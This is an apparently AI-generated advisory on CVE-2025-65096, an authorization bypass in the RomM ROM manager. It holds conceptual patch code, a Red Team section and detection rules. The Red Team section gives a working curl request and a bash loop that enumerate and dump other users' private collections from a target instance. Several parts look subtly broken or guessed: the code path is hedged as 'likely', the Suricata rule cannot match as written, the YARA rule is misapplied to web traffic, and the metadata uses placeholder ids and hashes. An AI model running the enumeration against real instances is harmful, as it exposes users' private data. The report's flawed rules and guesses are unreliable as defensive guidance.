CVE-2025-65096

Executive Summary

CVE-2025-65096 is an authorization bypass vulnerability in RomM (ROM Manager), a web application for managing and playing game ROM collections. The vulnerability allows any unauthenticated or low-privileged user to read private collections and smart collections belonging to other users by directly accessing their IDs via the API. The application fails to verify ownership or check if a collection is marked as public or private before returning collection data. This is a classic Insecure Direct Object Reference (IDOR) vulnerability (CWE-639). The CVSS score is 0.0 due to incomplete NVD data, but based on the description, the impact is limited to unauthorized read access to private collection metadata, not to the ROM files themselves. The vulnerability is fixed in RomM versions 4.4.1 and 4.4.1-beta.2.

Supply Chain & Package Security

RomM is a Python-based web application typically deployed via Docker. The vulnerability is in the application's own API logic, not in a third-party package. However, users should ensure they are using the official Docker images from the RomM project and verify image signatures if available. The fix is included in the latest release, so updating to version 4.4.1 or later is the primary remediation.

CVSS Breakdown & Threat Level

The NVD CVSS score is 0.0, but based on the vulnerability description, a more accurate assessment is:

• Attack Vector (AV): Network (N) – The API is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker simply needs to enumerate collection IDs.
• Privileges Required (PR): None (N) – The vulnerability can be exploited without authentication.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
• Confidentiality (C): Low (L) – Only collection metadata (names, descriptions, etc.) is exposed, not the ROM files themselves.
• Integrity (I): None (N) – No data modification is possible.
• Availability (A): None (N) – No denial of service.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N Base Score: 5.3 (Medium)

Threat Level: Medium. The vulnerability is easy to exploit but only exposes metadata, not the actual game ROM files. However, it could be used to map out user collections and identify targets for further attacks.

Deep Dive & Mechanics

The vulnerability resides in the API endpoints that handle collection retrieval. RomM has two types of collections: regular collections and smart collections (dynamic collections based on filters). Both are stored in the database with a unique ID and a public flag.

The vulnerable code path likely looks like this:

1. A user sends a GET request to /api/collections/{id} or /api/smart-collections/{id}.
2. The server retrieves the collection from the database using the provided ID.
3. The server returns the collection data without checking if the requesting user owns the collection or if the collection is marked as public.

The fix involves adding an authorization check before returning the collection data. This check should verify that either:

• The collection belongs to the requesting user, OR
• The collection is marked as public.

The vulnerability is fixed in versions 4.4.1 and 4.4.1-beta.2.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

@app.route('/api/collections/<int:collection_id>')
def get_collection(collection_id):
    collection = db.session.query(Collection).get(collection_id)
    if collection is None:
        return jsonify({'error': 'Collection not found'}), 404
    # Missing authorization check
    return jsonify(collection.to_dict())

Patched Code (Conceptual):

@app.route('/api/collections/<int:collection_id>')
def get_collection(collection_id):
    collection = db.session.query(Collection).get(collection_id)
    if collection is None:
        return jsonify({'error': 'Collection not found'}), 404
    # Authorization check
    if collection.user_id != current_user.id and not collection.public:
        return jsonify({'error': 'Forbidden'}), 403
    return jsonify(collection.to_dict())

The patched code adds a check to ensure the requesting user is the owner of the collection or the collection is public. If neither condition is met, a 403 Forbidden response is returned.

Exploitation & Lab Setup

Red Team

Objective: Enumerate and read private collections belonging to other users.

Prerequisites:

• Access to a RomM instance (version < 4.4.1).
• Ability to send HTTP requests to the API.

Steps:

1. Identify the API endpoint: The vulnerable endpoints are likely /api/collections/{id} and /api/smart-collections/{id}.

2. Enumerate collection IDs: Collection IDs are typically sequential integers. Start with a low number and increment.

3. Send a request without authentication:

curl -X GET http://target-romm-instance/api/collections/1

4. Analyze the response: If the response contains collection data (name, description, etc.), the vulnerability is confirmed.

5. Automate enumeration:

for i in {1..100}; do
  response=$(curl -s -o /dev/null -w "%{http_code}" http://target-romm-instance/api/collections/$i)
  if [ "$response" == "200" ]; then
    echo "Collection $i is accessible"
    curl -s http://target-romm-instance/api/collections/$i
  fi
done

Expected Output: A list of private collections with their metadata.

Blue Team

Detection: Monitor API access logs for unusual patterns, such as rapid sequential requests to /api/collections/ or /api/smart-collections/ endpoints from a single IP address.

Hunting: Search for requests to these endpoints that return 200 OK for collections that should not be accessible to the requesting user.

Prevention:

• Update RomM to version 4.4.1 or later.
• Implement network segmentation to restrict access to the RomM API.
• Use a Web Application Firewall (WAF) to block suspicious patterns.
• Enable authentication and enforce session management.

Indicators of Compromise (IOCs)

• Network: HTTP GET requests to /api/collections/{id} or /api/smart-collections/{id} with sequential IDs.
• Logs: Access logs showing 200 OK responses for collections that are not owned by the requesting user.
• File System: No file system IOCs, as the vulnerability is purely API-based.

Detection Engineering

YARA Rule

rule Detect_RomM_IDOR_Exploitation {
    meta:
        description = "Detects exploitation attempts of CVE-2025-65096 in RomM"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $api_path = "/api/collections/" ascii wide nocase
        $smart_api_path = "/api/smart-collections/" ascii wide nocase
        $sequential_pattern = /\/api\/(collections|smart-collections)\/\d+/ ascii wide
    condition:
        any of ($api_path, $smart_api_path) and #sequential_pattern > 5
}

Sigma Rule

title: RomM IDOR Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects rapid sequential requests to RomM collection API endpoints, indicating IDOR exploitation.
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-stem:
            - '/api/collections/*'
            - '/api/smart-collections/*'
        sc-status: 200
    condition: selection | count() by src_ip > 10 within 60 seconds
falsepositives:
    - Legitimate users with many collections
level: medium

Suricata Rule

alert http any any -> any any (msg:"RomM IDOR Exploitation Attempt"; flow:to_server; content:"/api/collections/"; http_uri; fast_pattern; content:"/api/smart-collections/"; http_uri; distance:0; threshold:type both, track by_src, count 10, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update RomM: Upgrade to version 4.4.1 or 4.4.1-beta.2 immediately.
2. Restrict Network Access: If immediate update is not possible, restrict access to the RomM API to trusted IP addresses only.
3. Enable Authentication: Ensure that authentication is enabled and enforced for all API endpoints.

Long-Term Mitigations:

1. Implement Authorization Checks: Ensure all API endpoints that access user-specific data verify ownership or permissions.
2. Use UUIDs for IDs: Replace sequential integer IDs with UUIDs to make enumeration more difficult.
3. Rate Limiting: Implement rate limiting on API endpoints to slow down enumeration attempts.
4. Audit Logging: Enable detailed audit logging for all API access and monitor for suspicious patterns.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI Assistant. For questions or further analysis, contact your Valters IT representative.